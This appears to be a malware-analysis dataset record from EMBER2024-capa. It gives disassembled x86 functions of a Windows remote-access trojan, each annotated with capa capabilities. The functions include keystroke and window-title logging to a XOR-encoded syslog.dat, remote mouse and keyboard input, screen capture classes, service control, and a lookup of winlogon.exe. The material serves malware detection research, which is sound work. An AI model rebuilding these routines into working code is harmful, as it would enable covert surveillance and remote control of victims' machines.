joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100065d0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10033c24]
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
add eax, 0xd
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x14], 0
push 0
push ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10006625
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
mov dword [ebp - 8], ebx
call fcn.100126f6
add esp, 4
mov edx, eax
xor edi, edi
mov dword [ebp - 4], edx
test ebx, ebx
jle 0x10006708
cmp ebx, 0x40
jb 0x100066ec
lea eax, [esi - 1]
lea ecx, [edx - 1]
add eax, ebx
add ecx, ebx
cmp edx, eax
ja 0x10006668
cmp ecx, esi
jae 0x100066ec
mov eax, ebx
and eax, 0x8000003f
jns 0x10006676
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x1002e8a0]
mov ecx, ebx
sub ecx, eax
mov ebx, esi
sub ebx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ebx
lea eax, [edx + 0x10]
mov ebx, dword [ebp - 8]
lea ecx, [esi + 0x30]
mov edx, dword [ebp - 0xc]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x30]
lea ecx, [ecx + 0x40]
add edi, 0x40
movaps xmm1, xmm2
lea eax, [eax + 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [edx + eax - 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x50]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
cmp edi, dword [ebp - 0x10]
jl 0x100066a0
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edi
cmp edi, ebx
jge 0x10006708
lea ecx, [edi + edx]
sub esi, edx
mov edx, ebx
sub edx, edi
mov al, byte [ecx + esi]
lea ecx, [ecx + 1]
xor al, 0x62
mov byte [ecx - 1], al
sub edx, 1
jne 0x100066f5
mov edx, dword [ebp - 4]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push 0
push eax
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push dword [ebp - 4]
call fcn.1001272f
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006740
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x91c
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
push edi
test ebx, ebx
je 0x10006874
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006765
sub esi, ecx
lea eax, [esi - 1]
cmp eax, 0x7f
ja 0x10006874
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edi, dword [0x10033c24]
cmp eax, dword [edi + 8]
je 0x10006825
push 0x100
lea ecx, [ebp - 0x108]
mov dword [edi + 8], eax
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x918]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
lea eax, [ebp - 0x908]
push 0
push eax
call fcn.10014920
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
movzx eax, word [ebp - 0x90c]
push eax
movzx eax, word [ebp - 0x90e]
push eax
movzx eax, word [ebp - 0x910]
push eax
movzx eax, word [ebp - 0x918]
push eax
movzx eax, word [ebp - 0x912]
push eax
movzx eax, word [ebp - 0x916]
push eax
lea eax, [ebp - 0x908]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea ecx, [ebp - 0x908]
call fcn.10006740
mov edi, dword [0x10033c24]
cmp byte [edi + 0xc], 0
je 0x10006838
mov ecx, ebx
call fcn.100065d0
mov edi, dword [0x10033c24]
mov eax, dword [edi]
add eax, esi
cmp eax, 0x400
jbe 0x1000685f
push 0x400
lea eax, [edi + 0x111]
push 0
push eax
call fcn.10014920
add esp, 0xc
mov dword [edi], 0
push ebx
lea eax, [edi + 0x111]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10033c24]
add dword [eax], esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret

Function at 0x10006ac0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
lea eax, [esp + 0x18]
mov dword [esp + 4], vtable.CShareRestrictedSD.0
push ebx
push eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10006420
push str._kaspersky
push 0x594
xor edx, edx
mov dword [esp + 0x14], eax
push 0
test eax, eax
lea ecx, [esp + 0x1c]
push 4
cmove ecx, edx
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x10033c20], eax
test eax, eax
je 0x10006b43
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10033c24], eax
test eax, eax
je 0x10006b43
mov bl, 1
jmp 0x10006b45
xor bl, bl
mov eax, dword [esp + 0xc]
mov dword [esp + 8], vtable.CShareRestrictedSD.0
test eax, eax
je 0x10006b65
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006b70
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov dword [ebp - 0x11c], ecx
xor esi, esi
push eax
mov dword [ebp - 0x114], esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.C:_syslog.dat
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push 0x80
push 3
push esi
push 1
push connect
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x120], edi
cmp edi, 0xffffffff
je 0x10006cc7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.100126f6
add esp, 4
mov esi, eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test ebx, ebx
je 0x10006c7b
cmp ebx, 0x40
jb 0x10006c6e
movaps xmm2, xmmword [0x1002e8a0]
mov ecx, ebx
and ecx, 0x3f
mov edx, ebx
sub edx, ecx
lea ecx, [esi + 0x20]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x50]
pxor xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
pxor xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edx
jb 0x10006c31
cmp eax, ebx
jae 0x10006c7b
xor byte [eax + esi], 0x62
inc eax
cmp eax, ebx
jb 0x10006c72
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp - 0x118]
push ebx
lea eax, [edi + 1]
mov byte [edi], 0x7c
push eax
call fcn.100143a0
mov ecx, dword [ebp - 0x11c]
add esp, 0xc
push esi
push edi
call fcn.10006d10
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.1001272f
mov edi, dword [ebp - 0x120]
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret
Function at 0x100070a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002fa10
push 0x10014080
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10032014]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov ebx, edx
mov esi, connect
mov dword [ebp - 0x24], esi
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000714d
lea eax, [ebp - 0x1c]
push eax
push 0x2001f
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000714d
mov edx, dword [ebp + 0x10]
mov ecx, edx
lea ebx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007120
sub ecx, ebx
lea eax, [ecx + 1]
push eax
push edx
push 1
push 0
push str.Host
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 1
test eax, eax
cmove edi, ecx
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], 0xfffffffe
call fcn.10007173
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100071d0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0x20]
push esi
push eax
push 0xf003f
xor esi, esi
lea eax, [ecx + 4]
push esi
push eax
push dword [ecx + 0x108]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007394
push eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10007229
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10007394
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10007394
cmp dword [ebp - 4], esi
jbe 0x10007394
push ebx
lea ebx, [eax + 1]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x64
mov dword [ebp - 8], ebx
push edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
lea esi, [eax + 1]
mov dword [ebp - 0x40], eax
add esi, ebx
imul esi, ecx
add esi, 0x16
push esi
push 0x40
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 0x30], edi
call fcn.10014920
movq xmm0, qword [ebp - 0x44]
mov byte [edi], 0x84
movq qword [edi + 1], xmm0
mov dword [edi + 9], ebx
push dword [ebp - 4]
call fcn.100165be
push dword [ebp - 8]
mov ebx, eax
call fcn.100165be
lea esi, [edi + 0xd]
mov dword [ebp - 0x10], eax
xor edi, edi
add esp, 0x14
cmp dword [ebp - 0x14], edi
jbe 0x10007371
push dword [ebp - 4]
push 0
push ebx
call fcn.10014920
push dword [ebp - 8]
push 0
push dword [ebp - 0x10]
call fcn.10014920
mov eax, dword [ebp - 0x18]
add esp, 0x18
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x64
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov eax, dword [ebp - 0xc]
cmp eax, 1
jne 0x10007315
mov byte [esi], 0
mov eax, dword [ebp - 0xc]
cmp eax, 4
jne 0x10007320
mov byte [esi], 1
mov eax, dword [ebp - 0xc]
cmp eax, 3
jne 0x1000732b
mov byte [esi], 2
mov eax, dword [ebp - 0xc]
cmp eax, 2
jne 0x10007333
mov byte [esi], 3
inc esi
mov eax, ebx
mov edx, esi
sub edx, ebx
nop word [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x10007340
mov eax, dword [ebp - 0x24]
add esi, dword [ebp - 0x28]
inc eax
push eax
push dword [ebp - 0x10]
push esi
call fcn.100143a0
mov eax, dword [ebp - 0x24]
inc edi
inc eax
add esp, 0xc
add esi, eax
cmp edi, dword [ebp - 0x14]
jb 0x100072c0
push ebx
call fcn.100165c9
push dword [ebp - 0x10]
call fcn.100165c9
add esp, 8
push 0x42
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007740
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002461a
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov eax, dword [ebp + 8]
push 0
push 0
mov dword [ebp - 0x70], ebx
push 1
mov dword [ebx], vtable.CManager.0
mov dword [ebx + 4], eax
push 0
mov dword [eax + 0xb8], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 8], eax
mov dword [ebp - 4], 0
lea esi, [ebx + 0x68]
movaps xmm0, xmmword [0x1002e880]
xor edi, edi
movups xmmword [ebp - 0x54], xmm0
mov dword [ebx], vtable.CScreenManager.0
movaps xmm0, xmmword [0x1002e870]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebx + 0x24], vtable.CCursorInfo.0
movaps xmm0, xmmword [0x1002e860]
movups xmmword [ebp - 0x34], xmm0
movaps xmm0, xmmword [0x1002e850]
movups xmmword [ebp - 0x24], xmm0
nop
mov eax, dword [ebp + edi*4 - 0x54]
push eax
push 0
mov dword [esi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
inc edi
mov dword [esi], eax
lea esi, [esi + 4]
cmp edi, 0x10
jl 0x100077e0
mov byte [ebp - 4], 1
push 0x110
mov byte [ebx + 0x13], 1
mov dword [ebx + 0x18], 8
call fcn.100126ff
mov dword [ebp - 0x6c], eax
push 0
push 8
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.100082c0
push 0
push 0
push 0
push 0
mov dword [ebx + 0xa8], eax
mov word [ebx + 0x10], 1
mov byte [ebx + 0x12], 0
mov byte [ebx + 0x14], 0
mov dword [ebp - 0x64], 0x10007e20
mov dword [ebp - 0x60], ebx
mov byte [ebp - 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x64]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x58]
call ebx
push dword [ebp - 0x58]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [ebp - 0x68]
push 0
push 0
push 0
push 0
mov dword [eax + 0x1c], esi
mov dword [ebp - 0x64], 0x10007fc0
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x64]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x58]
call ebx
push dword [ebp - 0x58]
call edi
mov eax, dword [ebp - 0x68]
mov dword [eax + 0x20], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 4
Function at 0x100079c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002468b
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10032014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [edi + 0x1c]
mov byte [edi + 0x10], 0
call ebx
push dword [edi + 0x1c]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14], eax
call eax
mov ecx, dword [edi + 0xa8]
test ecx, ecx
je 0x10007a18
mov eax, dword [ecx]
push 1
call dword [eax]
mov esi, dword [ebp + 8]
push 0x110
call fcn.100126ff
mov dword [ebp + 8], eax
cmp esi, 3
jne 0x10007a3a
push 1
mov dword [ebp - 4], 0
push 4
jmp 0x10007a56
cmp esi, 7
jne 0x10007a4c
push 1
mov dword [ebp - 4], 1
push 8
jmp 0x10007a56
push 0
mov dword [ebp - 4], 2
push esi
mov ecx, eax
call fcn.100082c0
mov dword [edi + 0xa8], eax
add eax, 4
movzx ecx, byte [edi + 0x13]
xchg dword [eax], ecx
cmp byte [edi + 0x14], 0
mov ecx, 0x40cc0020
mov eax, dword [edi + 0xa8]
mov edx, 0xcc0020
cmove ecx, edx
add eax, 0x10
xchg dword [eax], ecx
push 0
push 0
push 0
push 0
mov dword [edi + 0x18], esi
mov byte [edi + 0x10], 1
mov dword [ebp - 0x24], 0x10007e20
mov dword [ebp - 0x20], edi
mov byte [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x24]
push eax
push 0x1000a1e0
push 0
push 0
call fcn.10016e2b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x18]
call ebx
push dword [ebp - 0x18]
call dword [ebp - 0x14]
mov dword [edi + 0x1c], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100080f0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, 0x24924925
mul ecx
push esi
mov esi, ecx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
mov dword [ebp + 0xc], esi
lea eax, [esi*8]
sub eax, esi
shl eax, 2
sub ecx, eax
jne 0x1000827e
call fcn.1000a2c0
test esi, esi
jle 0x1000827e
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_mouse_event]
add ebx, 8
mov ecx, dword [ebx - 4]
mov eax, ecx
cmp ecx, 0x200
jb 0x10008187
cmp ecx, 0x208
ja 0x10008187
movzx esi, word [ebx + 6]
movzx edi, word [ebx + 4]
push esi
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
push esi
push edi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
mov esi, dword [ebp + 0xc]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp eax, 0x201
ja 0x100081d4
je 0x100081c5
add eax, 0xffffff00
cmp eax, 5
ja case.0x100081e2.521
jmp dword [eax*4 + 0x10008284]
push 0
push 0
push 0
push dword [ebx]
call edx
push eax
movzx eax, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x100081e2.521
push 0
push 2
jmp 0x100081a9
push 0
push 0
push 0
push 0
push 2
jmp 0x10008265
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x100081e2.521
jmp dword [eax*4 + 0x1000829c]
push 0
push 0
push 0
push 0
push 4
jmp 0x10008265
push 0
push 0
push 0
push 0
push 8
jmp 0x10008265
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10008265
push 0
push 0
push 0
push 0
push 6
call edi
push 0
push 0
push 0
push 0
push 6
jmp 0x10008265
push 0
push 0
push 0
push 0
push 0x18
call edi
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10008265
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10008265
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10008265
movsx eax, word [ebx + 2]
push 0
push eax
push 0
push 0
push 0x800
call edi
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
add ebx, 0x1c
sub esi, 1
mov dword [ebp + 0xc], esi
jne 0x10008141
pop edi
pop ebx
pop esi
pop ebp
ret 8
Function at 0x100090e0
Capabilities:
Modify service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x1000910b
push esi
jmp dword [eax*4 + 0x100092c8]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10009151
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x1000914b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008c30
mov esi, eax
test esi, esi
je 0x100092b2
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x100092a4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x100091ba
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x100091b4
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008c30
mov esi, eax
test esi, esi
je 0x100092b2
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x100092a4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10009284
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000927d
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10009264
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10009284
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000927d
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008c30
mov esi, eax
test esi, esi
je 0x100092b2
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006d10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
Function at 0x100096b0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, ecx
push 0
push dword [edi + 0x28]
mov dword [edi], vtable.CShellManager.0
call esi
push 0
push dword [edi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [edi + 0x24]
call esi
push 0x7d0
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [edi + 0x2c]
call esi
mov eax, dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x100096fe
push eax
call esi
mov eax, dword [edi + 0x14]
test eax, eax
je 0x10009708
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x10009712
push eax
call esi
mov eax, dword [edi + 0x1c]
test eax, eax
je 0x1000971c
push eax
call esi
push dword [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x14]
call esi
push dword [edi + 0x18]
call esi
push dword [edi + 0x1c]
call esi
push dword [edi + 0x20]
call esi
push dword [edi + 0x24]
call esi
push dword [edi + 0x2c]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 8]
mov dword [edi], vtable.CManager.0
call esi
pop edi
pop esi
ret
Function at 0x1000a230
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x128
mov edi, eax
call fcn.100126ff
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000a2ac
lea ebx, [esi + 0x24]
push str.winlogon.exe
push ebx
call fcn.10019473
add esp, 8
test eax, eax
jne 0x1000a27c
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1000a2ac
nop dword [eax + eax]
push str.winlogon.exe
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000a275
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000a290
pop edi
pop esi
xor eax, eax
pop ebx
ret